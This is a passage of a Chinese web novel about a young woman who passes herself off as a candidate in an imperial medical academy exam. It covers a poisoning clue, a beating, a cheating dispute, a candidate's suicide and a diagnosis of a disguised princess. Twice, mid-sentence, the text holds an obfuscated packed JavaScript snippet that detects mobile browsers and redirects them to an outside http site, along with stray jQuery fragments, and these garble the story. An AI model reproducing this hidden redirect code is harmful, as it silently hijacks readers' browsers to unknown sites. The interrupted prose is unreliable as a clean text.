梨花道:“从高彪舌头上刮出的东西。”谢舟皱眉将手绢丢下去,梨花强忍着没笑出来,谢舟看她一眼她才收敛。 梨花道:“我在药经阁找到一本毒经比对,确认高彪中的是离魂散之毒。离魂散是慢性毒药,能令中毒者头痛难眠呼吸不畅,易于伪装成其他病症,但有一个致命弱点,有香味。当时我以为是防腐药的味道,后来才分辨出是离魂散。” “下毒者似乎等不及了,突然加大剂量才叫他一命呜呼,高彪流连风月身上有什么味道也不奇怪,才被伪装成马上风。” 谢舟道:“果然刁钻。” 梨花又道:“离魂散有不同配方,我无法具体得知,要是能找到毒经的作者说不定可以闻出来。” “何人?” “李守仁。” 梅伯虽没多说,至少确定李守仁与谢家有关。梨花说完偷偷观察谢舟的脸色,谢舟却面不改色道:“我知道了,此事你无需再管。” 梨花心道:闭口不提,果然有鬼。但她不好追问太急,便安静坐着再不说话,走到太医院后巷无人之处悄悄下车。 ———— 线索卡住,梨花只能继续埋头去档案库看医案。 夜里,梨花正披着外衫伏案翻书,只听档案库外一阵喧闹,接着门被人撞开,林公公带着几个医吏和内侍进来。 林公公道:“档案库重地,闲杂人等怎会在此?” 一人道:“恐是有人为院考买通医吏进来,虽说从档案陈旧无甚大用,但毕竟涉及皇家,若有泄露岂不连累公公和太医院众人?” 梨花这才看见说话人是报到那天的“懂事学子”,他第一个拿到好房间,又第一个认出杜仲,连档案库这等隐蔽之处也知道,大概对太医院十分熟悉。 她装傻道:“啊?这里不让人进来吗?那我现在离开。” 懂事学子道:“档案库是禁地,无令不得入。” 梨花道:“这样啊,你怎么知道的?你来过?” 懂事学子看一眼林公公紧张道:“我就是知道。” 梨花道:“那你怎么知道我在这儿?你跟踪我?”她突然抓紧衣服作出惊恐模样,实足一个被宵小觊觎的小姑娘,任谁看了都怜惜。 懂事学子无法解释,毕竟他也是悄悄进来看档案才无意中发现了梨花,多一个竞争对手总是不好,最好能把梨花赶出去。 他被绕进去,林公公却精明的很,咳嗽一声道:“说吧,谁是你的同谋。”他身后一个医吏低头在角落发抖,正是给梨花钥匙的人。 梨花道:“没有同谋,钥匙是我捡的。”医吏闻言稍稍放松。 却听林公公又道:“那就是他丢了钥匙,犯看管不力之罪,打了板子赶出太医院。”林公公十分看不惯梨花总挑战他的威严,偏要给她点教训,凡帮她的一个也不放过。 说着医吏已经被按在老虎凳上,眼见板子就要落下,这时杜院正赶过来,皱着眉问:“大晚上这是做什么。” 林公公行礼回复道:“档案库医吏丢了钥匙被方梨捡去,方梨潜入档案库偷看医案,老奴负责学子的管教,这才教训他们。” 杜院正长叹一口气对梨花道:“怎么又是你?”转身对林公公道,“不知者无罪,让她回去吧。大晚上板子也别打了,把人赶出去便罢。” 与医吏喝酒时梨花得知,他不是大夫,只是太医院雇来专管档案库的,已经干了十几年,上有老下有小,失去这份工作就活不下去了。 梨花犹豫一下道:“与他无关,钥匙是我偷的,打我板子吧。” 杜仲恨铁不成钢提醒,“你知不知道自己在说什么?”学子偷盗比医吏失职严重得多,为什么非要扩大事态呢。 梨花点头,他更气了,怒道:“给我打,打到她说真话为止。” 身上噼噼啪啪的板子打下来,每打几下杜仲就要问:“钥匙是你捡的吧?”梨花咬死回答:“不是。”即便内侍力气不大,十几板子下去也渗出血来。 梨花被打得皮开肉绽,医吏侧头不敢看她,懂事学子吓得厉害怕杜仲追究他。梨花小脸惨白几乎昏死过去,杜仲示意住手,厉声道:“念在她求学心切不再追究,此事不得泄露也不许再提。” 秋水仙被悄悄唤来给梨花收拾,勉强回了寝室,修养两天她便迫不及待回去上课,谎称洗漱时踩水滑倒行动不便。 梨花每走一步都感觉钻心的疼,院考在即她想多看点书,于是早上带好干粮和水在杏林堂呆一整天,晚上闭门才回去。 落了几天课,她借来别人笔记坐在门口台阶上补课。头顶一盏小灯笼随风晃荡,照得书页斑驳她看不清,正要咬牙站起扶正灯笼,肩膀突然被人拍一拍,一片蓝色衣角搭在台阶上。 梨花道:“多谢杜院正,我今天没犯什么错吧?”她说完吐吐舌头。 杜仲道:“为了多看两本书一会儿去扫地,一会儿挨板子,值得吗?” 梨花十分肯定点点头,“值得。” 杜仲望着梨花认真的模样半晌,笑道:“你呀,越看越像我一个老朋友,他也很执拗。” 报到时梨花说庚娘迎新生陆鹏送往生,其他人身为医者不精进医术却攀比炫耀身份,她的义正辞严像一面镜子照出其他人的卑劣,她很好,可惜不适合在太医院。 梨花想一想问道:“您说的朋友是李守仁太医吗?” 李守仁三个字仿佛禁忌,杜仲一听就变了脸色,梨花道:“我在医案上看到你 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梨花沉思半天开口:“可我觉得不对,医者应该实事求是。” 杜仲道:“想进太医院没有你觉得,只有皇上觉得、太后觉得,你唯一要做的就是闭上嘴。一如李守仁这三个字,从此以后烂在肚子里。”他带着怒气掀衣离去。 梨花觉得杜院正的气生得莫名其妙,他究竟为她提到李守仁不悦,还是因为她不赞同装聋作哑恼怒?她无暇去想,继续啃书。 ———— 很快就迎来院考,院考采用积分制,从易到难共三场,学子三十人,第一场淘汰十人,第二场再淘汰十人,第三场淘汰七人总共留下三人。 院中已经放好三十张桌子,前面七把圈椅,一切准备就绪,众学子坐定。 考官由太医院五位授课太医组成,左二右二坐好,中间还空三把椅子,不一会门口进来蓝、红、黑三个人,蓝色是主考官杜仲,红色是奉命监督的杨贞,黑色是维护秩序的谢舟。 三人进来,梨花对杨贞微笑,杨贞状似无意点头,谢舟不小心踢到椅子弄出动静,杜仲投去关心的眼神,谢舟不理径直走上考官席。 杜仲本想客气地推让一下座位,谁料杨贞和谢舟一左一右直接坐在空椅子上,谁也不说话,杜仲尴尬一下装作无事发生,学子向他们三人行礼,院考便要开始。 这时门外传来内侍高声通报:“公主驾到——” 宁照夜从轿子跳下款款而来,也不管别人的目光,直接走到杨贞身边道:“行勉哥哥,我求了皇兄出宫来看看,你能陪我吗?” 杨贞行礼道:“公主殿下,臣奉命监察太医院院考,无暇陪伴您,还请见谅。” 宁照夜小嘴一翘正要发脾气,忽然道:“院考必定十分有趣,本公主要全程参加,省的某些人做手脚。”她目光朝身后某个方向甩过去。 某个方向上的梨花心道:不就是说我嘛,让你见识一下什么叫实力。 杜仲早让出主位,左边考官也让位给杜仲,坐到医吏搬来的另一张椅子上。 院考正式开始。 29. 引火烧身 第一场考的是药材分辨,每位学子桌前都放一个竹筐和一个药罐,竹筐里是各种药材,药罐里是已经淡到不知熬了几遍的汤药,学子需要分辨出竹筐里所有药材,并在其中选出汤药成分。 辨药材不难,大部分有医药基础的都能写对,可闻出汤药成分就难了。 有学子尝一小口,似乎尝出几味药,其他人有样学样端起罐子尝,只听旁边咕嘟咕嘟,陆鹏牛饮完整罐药,众人侧目,秋水仙小声提醒,“你怎么把考题喝了?” 陆鹏满足地拍拍肚皮,“天怪热的,喝了解暑。”她前后左右看看,伸长脖子道:“兄台你不喝点?” “酸甜的,放盐了。” “不会写别勉强。” 她胡说八道一阵,一个考官道:“考场不许交头接耳。” 陆鹏道:“哦——” 考官又道:“不许大声喧哗。” 天气燥热,考生躁动,陆鹏搅和,有心态不好的竟扔下笔跑了,陆鹏捧腹无声大笑。 梨花端起罐子闻了闻,以前乡下有穷人买不起药,把药渣熬了一遍又一遍,直到熬成清水,那人端着没有药效的清水找麻烦,梨花闻水辨药打官司一气呵成。 闻这碗药比起闻清水就是小巫见大巫,梨花刷刷几笔写下答案。 时间很快结束,医吏清点答卷,考官回内堂分组批阅,不一会儿便出结果了。 梨花、药王传人并列第一,然后便是药诗人、懂事学子等人,秋水仙闻药不行辨药材尚可,勉强留下,陆鹏不出意外被淘汰,庚娘亦是。 没给他们休整的时间,淘汰者即刻收拾东西离开,医吏刚撤走桌子,第二场考试的东西已经陆续摆上来。 第二场考医理,仍以《素问》《难经》《本草》《经脉》《脉诀》五书为基础,先默出五书中摘录的部分内容并追典溯源,再分别论五行生克、阴阳之道、脏腑别通,最后就“弃一人救百人”进行论辩。 背书虽不是梨花的强项,但这段时间恶补有所成效,勉强默出五书内容,论辩的内容也洋洋洒洒写满整页纸。 这场比试持续至正午,漏刻钟响,众人筋疲力尽交卷,医吏封好试卷放入密室,众考官和杨贞、谢舟先去用午膳,宁照夜坐不住早早跑了。 考试期间考官与学子不能交谈,杨贞望了梨花一眼点点头,几人从侧门去了饭堂,留下学子在原地等待。 是的,学子们没饭吃。 此举据说为了考验从医人士的体力,体力不足无法支撑高强度工作者,也要淘汰。 梨花拉凳子坐到秋水仙身边,从怀里掏出两张饼,药诗人看见了道:“哎哎哎,规定不许吃午膳,你们违规我要举报你们。” 梨花道:“规定不许出考场,可没说不让带东西进来。” 药诗人道:“你净说歪理。”他怒气冲冲去门口找医吏做主,医吏看锦衣卫一眼,那锦衣卫眼皮都不抬,医吏只好将药诗人劝回去。 梨花呲着牙扬起饼在他面前晃晃,他气恼坐回去,药王传人拍拍他后背,“不同她计较,反正她也考不上,就凭你的文采,方才的论辩必是第一。” 说到考试药诗人一下来了精神,发带一撩得意道:“确实,且让她嘚瑟,等一会儿成绩出来有她哭的。” 一旁含着山参的懂事学子听他们讨论,不明意味地笑笑。 ———— 午膳后,考官回到密室阅卷,一个时辰后医吏出来宣读结果,依次从第十名到第一名宣读成绩,梨花排在第十名,然后是其他学子。 第三名是药王传人,第二名是懂事学子,众人向他们投去佩服和羡慕的眼光,药王传人背微微向后靠假装不在意,紧抿的嘴唇抑制不住向上翘。 药诗人敲敲他桌子,“可以呀兄弟!” 药王传人抱拳道:“哪里,比你略逊一筹。” 只剩第一名未宣布,结果心知肚明,大家不约而同对药诗人点头,他也点头微笑胜券在握。 医吏道:“第一名——段霄。” 梨花傻眼:怎会是他?段霄其人名不见经传,少与人交往,此刻突然黑马一般杀出来。其他人也惊呆,在药诗人和段霄两边来回看,一时不知该不该鼓掌。 药诗人蹭一下站起来大声道:“不可能,其他我不敢说,默书论理我称第二在场无人敢称第一。”梨花暗暗点头,她虽不喜此人,但他这话说得没错。 “定有人从中作梗换我试卷,即便不是第一名也不该落榜,甚至不如这个……这个……”药诗人看向梨花没想到合适措辞,怒目喊道:“我要求公开勘验试卷!” 一位太医道:“你以为这是什么地方由得你胡闹!”他起身向谢舟抱拳施礼,“辛苦谢大人。” 谢舟手一挥,出来两个锦衣卫便要押走药诗人。他挣扎道:“不可能,有人舞弊,我要敲登闻鼓,我要告御状!” 杨贞道:“谢大人且慢,本官奉命监察,既有学子提出疑议便该查证。” 他对药诗人道:“你可有证据或证人?” 药诗人摇头,忽又想起什么,“他们都叫我‘药诗人’,我的文采在中学子中有目共睹,卓兄可为我作证。”他口中的卓兄便是药王传人。 药王传人正要开口,段霄打断他,“会写两句酸诗便能证明院考论辩也写得好?照你这样说每个人都可喊冤,所有人的试卷都要重审吗?对论辩的看法本就千人千面,同一人不同时刻看法也可能不同,若为你重审,你被选上有人再被淘汰,岂不是对那人不公?” 杨贞道闻言思考片刻道:“此生所言不错,你想重审需征得其他学子同意。” 药诗人望向药王传人,“卓兄,你说句话呀。” 药王传人沉默了,懂事学子笑道:“这是考试,最终只有三人能被录取,你若留下,他胜算岂不小了?”他说完药王传人的头埋得更低。 药诗人左顾右盼向其他人求助,其他人更默不作声,看到梨花这里,他无助地甩甩头,梨花与他有龃龉,更不可能帮他。 利益面前没人会舍了自己为他人出头,即便他是冤枉的,他绝望地瘫坐在地上。 这时却听梨花道:“我同意重审。” 药诗人没想到唯一帮他说话的居然是梨花,心生诧异。 秋水仙焦急地扯她衣袖:“你是最后一名,本就最危险。”其他学子也如看傻子一般看梨花,也有人觉得她仗义执言是个好人,更多的觉得她没事找事。 杨贞闻言下意识阻止,“不可。”他深知梨花善良正义,可这时出头无异于把自己架在火上,她执着的太医院梦可能化为泡影。 梨花轻声道:“他确实有实力,就此埋没是太医院的损失,更是病患的损失。何况他理论水平远胜于我,就算有什么换卷内幕也与我无关。” 药诗人报到那天被梨花当众嘲讽,以为梨花一直看不起他,却在他最需要的时候认可他,这话比他们说一万句“药诗人”都动听,感动得他快哭了。 一直作壁上观的谢舟突然开口:“杨大人最为公允,这是怎么了,督查御史的脸面不要了,承诺也不守了?”杨贞看他,他笑道:“不妨听她怎么说。” 梨花道:“其实不用重审,他的诉求是确认是否被换了试卷,只要比对字迹即可。” 众人闻言都松了一口气,毕竟都知道自己没换他人的试卷,此事与自己无关,药王传人“睡醒”了,十分坚定道:“我同意验字迹。”其他人也道:“同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104682|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。” 只剩段霄没说话,杨贞问:“你可愿意?” 段霄利落吐出三个字:“不愿意。” 杨贞问:“为何不愿?只要比对字迹就可证明你的清白。” 段霄冷声道:“凭什么别人冤枉我我就要自证清白?他没证据是他的事,我没必要配合他。” 此话有理,倒让杨贞语塞,他确实先入为主认为药诗人有冤,没考虑段霄的感受,当众向段霄行礼道歉,段霄颇感意外也起身回礼。 谢舟挑眉戏谑道,“有一人不同意就不能重审,可惜呀可惜。” 药诗人重燃的希望再次破灭,崩溃地大喊大叫,锦衣卫死死按住他。 午觉刚睡醒的宁照夜打着呵欠从后院出来,看见院子里被锦衣卫压着的、站着的、坐着的众学子和躬身赔礼的杨贞,问道:“这是怎么了?” 杨贞简短回复,宁照夜往正中一站语气凌厉:“当着本公主的面居然行舞弊之事,还敢让我行勉哥哥向你道歉?” 宫里宫外都把她当草包公主,这大好的证明自己的机会她岂能放过?她走到段霄面前道:“你不同意就是做贼心虚,来人,把他抓起来。” 杨贞头痛赶忙劝阻,宁照夜义愤填膺抓作弊哪管他说什么,什么考试伦理、公平机会在公主这里不存在,她亲自下令盯着考官们重审。 公主的命令无人敢违抗,医吏搬出一张大桌,将众人试卷按成绩铺好,拆开名字密封线一看,第一张就是段霄的,宁照夜看去,通篇字迹工整内容流畅,确有实力。 宁照夜心中打鼓,难道真冤枉人了?她又往后翻,药王传人、懂事学子等人的试卷也作答颇完整,她心虚地看一眼段霄开始倒着翻。 最后一张试卷分数和段霄一样是高分,她终于找到证据,一把抽出卷子给众人展示,“本公主就说有人舞弊!” 药诗人扑上来抢过卷子,大呼:“是我的,是我的字迹!” 其他人表情各异,本就低分的不影响他们被淘汰,前九名顶多每人向后退一名,仍然过关,唯一受影响的是原本第十名的梨花。 宁照夜有些幸灾乐祸问药诗人:“本公主做主把你名次加回去,把方梨顶下去,你同意吗?或者你愿意放弃名额让给方梨?” 药诗人捧着试卷犹豫半天,宁照夜又道:“你可要考虑清楚了再答。” 任谁面对这种处境都会选自己,梨花被淘汰是板上钉钉的事了。 果然,药诗人身子整个塌下去,“我同意,多谢公主。” 众人窃窃私语: “好人没好报呀。” “谁让她没事找事,活该!” 秋水仙怒道:“梨花是唯一帮你说话的人,你就这么对她?” 药诗人红脸嗫嚅:“对不起,进太医院是每个学医人的梦想,我不想放弃。” 秋水仙道:“进太医院也是梨花的梦想,你有良心吗?” 药诗人仿佛被踩中尾巴,“良心?你说的冠冕堂皇,”他站起身扫视在场学子,刚才他也无助可怜,却被所有人无视,甚至被他信赖的卓兄背弃,他嗤笑:“易地而处这里所有人都会和我做同样的选择。” “我不会。” “那是因为你根本考不上,你不知道所谓一步之遥其实是登天之远。” “我……” “够了!”梨花大喝不让秋水仙继续说,她晃着身子站起来,沙哑重复:“够了。” 看着这场闹剧她觉得心累,那人说的对,她活该,总自以为是帮别人,到头来累人累己。 她拖着步子走到段霄身旁道:“对不起。”她的院考到此为止了,“香香,咱们走吧。” 这时有人道:“且慢。” 30. 医者仁心 谢舟双腿交叠,右手搭在膝盖上轻点,左手放下茶盏,转头对杜仲道:“高分卷子放在最后,杜院正没什么要解释的吗?” 光顾着可惜梨花引火烧身被淘汰,差点忘了药诗人试卷的事,高分落榜其中必有隐情,有杨贞和谢舟在,又有公主坐镇,即便想隐瞒也没可能,众人目光投向杜仲等他给个说法。 杜仲显然早有准备,不慌不忙站起来,拿过药诗人的卷子给其他学子看,“大家可发现此卷有什么问题?” 其他学子传阅,“没什么问题呀。”试卷引经据典,文采斐然,无可挑剔。 传到秋水仙,她看了又看突然惊叫道:“我知道了!” 其他人问:“什么问题?” “他没写名字。” 秋水仙不通文墨,关注点不在试卷内容上,这才有机会看到姓名密封线处的空白。 药诗人脸色一变,“忘记写名字这就不是我的试卷了吗?” 有人附和:“是呀,一个名字不影响什么。” 梨花才从失魂落魄中回神,她虽也觉得一个名字算不了什么,可心中隐隐希望最好能算些什么,带着希冀看向杜仲。 杜仲笑了笑问道,“诸位还记得入院第一堂课讲的是什么吗?” 有人抢答:“医德。” “《大医精诚》有云‘凡大医治病,必当安神定志,无欲无求,先发大慈恻隐之心,誓愿普救含灵之苦。’身为医者除了有高超的医术,还要有对患者的尊重,对疾病的敬畏。” “见到考题想的不是题目本身而是卖弄文采,得意忘形到连名字都忘记写,便如神医见到疑难杂症想的不是治病救人,而是炫技让世人知道其‘神’,如此心态怎能当一名合格的医者?” 其他学子闻言低头反思,药诗人跪在地上,眼神无光,口中含混:“不可能呀,不应该的。”颓靡片刻他突然振奋,对宁照夜连连磕头,“公主您帮帮我,我的实力您亲眼目睹的呀,求您给个机会。” 未等公主发话,他突然发疯一般扑到她身上,连她食指的戒指一起拽下来,谢舟登时一脚将人踹飞,杨贞拦在宁照夜身前,锦衣卫的刀将药诗人脖子围了一圈。 死到临头药诗人还不死心,大喊道:“明明我比方梨强,凭什么她留我走?” 宁照夜道:“本公主给过你机会了。” “何时?” 杨贞道:“公主提醒你考虑清楚。” 宁照夜给杨贞投去一个还是你懂我的羞涩眼光,她对药诗人道: “你的能力我欣赏,可你的人品我厌恶。如果刚才你愿意放弃名额让给方梨,本公主现在说不定做主让你留下。医者仁心,你连仁心都没有,这样的医者我大宁不敢用。” 不想娇蛮公主也有正义一面,杨贞莞尔。 梨花心有戚戚焉,忽听得秋水仙尖叫,原来是疯魔的药诗人彻底失智,自己撞在刀上抹了脖子。 一场普通考试变成血案现场,锦衣卫处理这种事有经验,很快收拾干净。 最后一场比试实操,有四名病患分别对应望闻问切四道考题,依据学子与考官诊断结果的相似性打分,剩下的十名学子通过最后一题竞争最终的三个名额。 临近傍晚天色本就黯淡,药诗人的血案更使得气氛阴沉沉的,几个学子乱了心神以极低的分数被淘汰,只剩段霄、药王传人、懂事学子和梨花四人。 医吏将记分册交给杜仲,他们四人与考官诊断竟完全相同,几位考官凑在一起研究一番,决定明日加试进行最终抉择。 ———— 散考后,杨贞先没回家,转头去寻宁照夜,太医院辟出一间屋子给她暂住。 杨贞敲门,侍女请人入内,一进去就看见张开双臂趴在桌上的宁照夜。 杨贞道:“公主殿下今天如此威风,为何还闷闷不乐?” 见到喜欢的人主动来找自己,宁照夜本该欢喜,可怎么也提不起精神,语气低落应了一句:“行勉哥哥。” 杨贞在她对面坐下凝神相望,他还记得小时候的宁照夜因为生母不受宠连带她也被宫人苛待,养成畏畏缩缩不敢见人的性子,宫宴上也只敢小声叫他一句“行勉哥哥”,递给他一块人人都有的糕点。 杨家出事以后他不常进宫,很少见到宁照夜,偶尔听人提起她都是骄横跋扈一类的形容词,上次马球场相见多少印证了此言非虚,他不禁感叹好好的小姑娘怎么变成这副模样。 今日药诗人一事,他好像又看见送他糕点的善良小姑娘了。 杨贞温声安慰:“你给过他机会了,被淘汰是他的问题,寻死是他自己的选择,莫不吃饭为难自己。”宁照夜没吃晚饭,他来劝饭的。 宁照夜托着桌子直起身,“你不怪我为难你的方梨?” 这话酸里酸气的,杨贞笑道:“若是为难,她哪还有考第三场的机会。” 宁照夜露出个半笑不笑,又心虚又得意的神情,她道:“其实一开始我挺期待她被淘汰的,所以才那么积极主持公道,可我看见她‘弃一人救百人’的论辩了。其他人都认为可以弃一人救百人,只有她说一人之命与百人之命同样重要。” “同意弃一人只因他们都觉得被弃的不会是自己,所以我问那个学子愿不愿意放弃自己的名额让给方梨,当自己被摆在天平之上,他果然违背自己所言。” “行勉哥哥,她确实与众不同,难怪你喜欢她。” 杨贞摸摸宁照夜的头道:“月奴是个好姑娘,以后定会遇见自己的良人。” 他没再称呼她公主殿下而是叫她的乳名,宁照夜知道,他们更近却也更远了。无论马球场还是院考时,杨贞的眼神从没离开过方梨,那样炙热的眼光他从未对她流露过。 宁照夜站起来扬着下巴道:“我就是最好的,我值得这世上最好的男儿。”她心中五味杂陈,慌乱地把杨贞赶出去,生怕他看见自己奔涌而出的眼泪。 ———— 夜半,梨花在房中辗转难眠,她们五人挤大通铺,每天哄小丫睡了她再睡,现在孤伶伶的还有些不习惯。 她“大”字型展在床上胡思乱想,不知道庚娘和小丫有处可去吗,陆鹏怎么和她爹解释失踪一个月的事,秋水仙有没有被药诗人的死吓坏…… 想着想着就饿了,反正也睡不着,不如溜去厨房吃点夜宵。 厨房不锁门轻轻一推就开了,她一进去就听见灶台后窸窸窣窣的声音。 梨花道:“什么人?” 灶台后传来“喵喵喵”的猫叫声。 “原来是只小野猫呀,还以为是偷吃的小老鼠呢。地瓜香香甜甜健脾通气,最吸引小老鼠了。”她从笼屉里拿出两个蒸地瓜,一个放在灶台上,一个捧着边走边啃往寝室去。 与此同时,已成禁地的档案库墙角站着两个人,月光微微照亮两人的脸,正是林公公和懂事学子。 懂事学子道:“多亏干爹告知题目儿子才能有所准备,可惜被那段霄抢了风头。” 林公公道:“好在淘汰一个强劲对手,差点就被方梨搅和了。” 懂事学子冷哼:“要不是她,今日院考结束儿子就顺顺当当进太医院了,她真是个灾星。” 林公公挥手阻止他继续说,拿出一封信给他:“明日考题患者已经定了,这是他的情况,照此说就行。” 懂事学子欢欢喜喜接过信,恭敬送走干爹。 ———— 难熬的一夜终于过去,梨花顶着黑眼圈出现,其他三人脸色也好不到哪儿。谢舟、杨贞和诸考官陆续坐定,宁照夜并没有来,公主三分钟热度大家已经习惯,便没等她。 今日综合考望闻问切,只有一名病患。一个内官道:“上考题。”后院进来四个侍卫,抬着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114661|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高高的方形台子,台子四周白纱包裹看不清是什么东西。 内官道:“今日最后一道考题变更,只考诊脉。”几个考官对视摇头,似乎不清楚发生了什么,考题不是他们改的。 懂事学子不经意看向林公公,林公公轻咳摇头,表示不清楚状况。 这时,平台中伸出一只手腕,杜仲见状脸色发青正要吭声,却被谢舟按住,眼神警告他不可妄动。 四名学子轮流上前号脉,一炷香时间过去,四人都将诊脉结果递给内官,出奇的是结果都不相同。 内官道:“请各学子分别解释断病缘由。” 杜仲立刻站起来阻止:“胡闹!院考之事岂容儿戏,原本的病患究竟在何处?” 却听内官笑言:“杜大人,咱家也是奉命行事。”说着出示一张玉牌逼杜仲退下,杜仲皱眉哀叹一声无可奈何。 最先说话的是懂事学子:“病客脉象沉缓濡滑,脾胃湿困,可能是天气潮湿闷热,居处湿气略重。” 药王传人道:“患者关脉如绵裹砂,往来涩滞,中焦困阻,可能近日饮食不慎夏日贪凉。” 段霄道:“脾胃娇贵,湿邪困阻导致气机不畅,食不知味。” 他们的诊断都指出脾胃有问题,给出的原因却有天壤之别,一个说天气热导致的,一个说饮食不合适,一个说身体天生如此。 昨日也有诊脉一考,却不见分歧如此之大,众人心生疑窦,把目光投向最后一人。 到梨花了,却见她迟迟不开口。 梨花猛地想起杜仲那夜提醒她的话:“看你面对的患者谁,有些时候比起治好病更重要的是不出错。” 如果面对的是公主,她该如何做? 从病患被抬进院中她就闻出纱帐中人是宁照夜,她总是涂抹浓郁的脂粉,外人闻到各种香气,只有嗅觉灵敏的梨花闻出底下掩藏的呼吸浊气。 宁照夜的确脾胃失和,时而厌食反胃,时而暴饮暴食,一边饥饿难耐,一边脘胀不通,身体不适又引起情绪紊乱,故而经常发脾气。 她的病确实与天气、饮食和身体有关,但这些都是可以调理的,可从脉象诊断她此症已经多年,如此简单的病症太医不可能瞧不出来。 灶台后的“小老鼠”就是宁照夜,梨花猜她控制不住想吃东西,悄悄提醒她可以吃地瓜,地瓜有通气之用,既能饱腹又能健体。 现在想来怕是太医没对她说实话,毕竟此病症对一个公主来说太过不雅难以启齿,只喝药调理没有患者本人配合,病情终究难以控制。 梨花诊出公主的情况,照实说有损公主名誉便是“出错”,得罪公主污蔑皇家更是死路一条。她看向杜仲,发现杜仲也在看她,眼神纷乱复杂全是难言。 懂事学子手一背:“你到底说不说呀,不会没诊断出来吧,现在认输还能留几分面子,一会儿说错了可就要命咯。” 杨贞道:“她在思考,何必催促?”懂事学子讪讪不语。 谢舟笑了笑道:“多思徒增烦恼,不若听凭直觉。” 良久,梨花开口:“富贵人得富贵病,讳疾忌医自作自受,山珍海味犹如砒霜,该吃忆苦饭养身心。” 此话一出场中瞬间翻江倒海。 懂事学子幸灾乐祸,他从病患食指的戒印认出公主,虽然考题换人了,但他看过医案知道答案,照公主医案来说,自是不会错。 药王传人和段霄神色紧张,他们也认出公主,所以断词婉转只挑外因来说,生怕哪句不对得罪公主。 杜仲提着的心终于死了,沉重地闭上双眼。 只听清脆的一声,内官一巴掌扇在梨花脸上,“大胆!”巴掌声震耳欲聋让在场每个人都出乎意料。 谢舟从考官席飞身下来,绣春刀先他一步穿过官帽把内官钉在墙上,他把梨花护在身后冷声道:“她是你能动的人?” 31. 得偿所愿 谢舟突然发狠众人始料未及,不就是一个内官教训说错话的女子,堂堂指挥使何来这么大的怒气。 梨花被打懵了,定了一瞬脸颊才传来火辣辣的疼,然后心中升腾起屈辱。 谢舟满身戾气握着梨花的肩膀道:“我剁了他的手。”说着把内官从墙上拔下来,那内官早已吓得失禁昏死过去。 “住手。” 宁照夜从纱帐里出来,在场只有四个考官没看出来里面的人是公主,此刻吓得失了魂,杨贞在内官打人时也反应过来,第一个向她行礼。 她命人将内官抬下去,“方梨,我再问你一次,你对我的病症如何论断?”此刻她不是普通病患,而是以公主的身份质问。 所有人都望向梨花,她的回答将决定自己的命运和其他三人的结果。 梨花定了定神,“还是一样。” “你可知对公主说出这样的话有什么后果?” 梨花摸着红肿的脸道:“我只知道医者该对病人说真话。” 宁照夜大笑,“好,你给本公主等着!”说罢乘鸾离去。 院考结果被公主搅得不明不白,只好按照最初议定的规则,诊断结果与考官相似者胜,懂事学子、药王传人和段霄三人最终留下。 几个医吏收拾东西,杨贞过来同她说话,谢舟与杨贞争吵,杜仲拍她肩膀…… 她觉得周遭乱哄哄的,笑一笑当做回应,其实什么都没听到,只记得坐了谢舟的马车离开太医院。 她睡了一天一夜,梦里一会儿在草原上纵马驰骋,一会跟在老爹身后采药,一会儿和方梨逃跑,一会被谢舟轻抚脸颊,再就是各种医书一页一页在脑海里颠倒翻转,最后停留在落榜通知上。 再醒来已经是第二天,阿香坐在她床边脑袋一点一点,她伸手托住阿香的脑袋,阿香直接惊醒。 “你终于睡饱了,我还以为你要睡三天三夜,一个考试而已,饿了吧,我煮了粥。” 听见阿香熟悉的叽喳声,梨花才感觉活过来,梅伯推着轮椅走到门口,他那天说要断了往来,梨花千万个不愿,却听梅伯道:“休息够了出来开店。” 梨花轻轻点头,心道:这是不赶她走的意思? 在厨房喝粥,梨花问:“仙仙呢,去送药了吗?”一大早到现在一直没见秋水仙。 阿香丢下勺子:“我还奇怪呢,她不是和你在一起吗?” 秋水仙没回来?! “仙仙前日就该回来的呀。” “昨日谢大人抱你下马车,你不省人事可吓坏我了,我问了仙仙,谢大人只说没事不用管……” 两人同时沉默:秋水仙到底去哪儿了?梨花放下碗筷要找谢舟问个清楚,这时来了几个内官,为首的问:“哪个是方梨?” 梨花道:“我是。” “走吧,跟我进宫。” 此话如晴天霹雳,她差点忘了皇上说过她考不上治她欺君之罪,这是要把她提进宫里去杀? 梨花哆哆嗦嗦道:“可以不去吗?” 内官斜了她一眼,“你要抗旨?” “不敢不敢。”她再无知也知道抗旨是死罪,能多活一刻算一刻,怂怂地跟上去。 马车在宫门口停下,内官交代不要乱看,她一路低头跟着内官走过无数道侧门,穿过数不尽的连廊,终于在一座庄严古朴的宫殿前停下。 梨花心道:皇宫就是不一样,砍头还挑有草有树鸟语花香的地方,抬头才看见宫殿牌匾上“芷沅宫”三个字。 内官把她带进殿内跪好,锃光瓦亮的地砖照见她的笑脸,芷沅宫总不是要她小命的地方,能活着就好。 明黄的衣角撞进眼里,旁边是一双桃粉绣鞋,终于来人了。 “你可知罪?”宁洵青涩又清冷的声音自上而下传来。 不杀她应该就没问题吧,梨花壮着胆子道:“民……民女不知。”她尽力了,开口还是抖。 “考不上太医院,对公主出言不逊,你说你不知?”他声音陡然冷硬,伴随而来的是砸在地上的一道折子,“你自己打开看看!” 里面恐怕是要把她千刀万剐的圣旨,不过罪不至此吧? 梨花颤颤巍巍打开折子,眯着眼用余光看: 方梨医治公主有功,特许进入太医院。 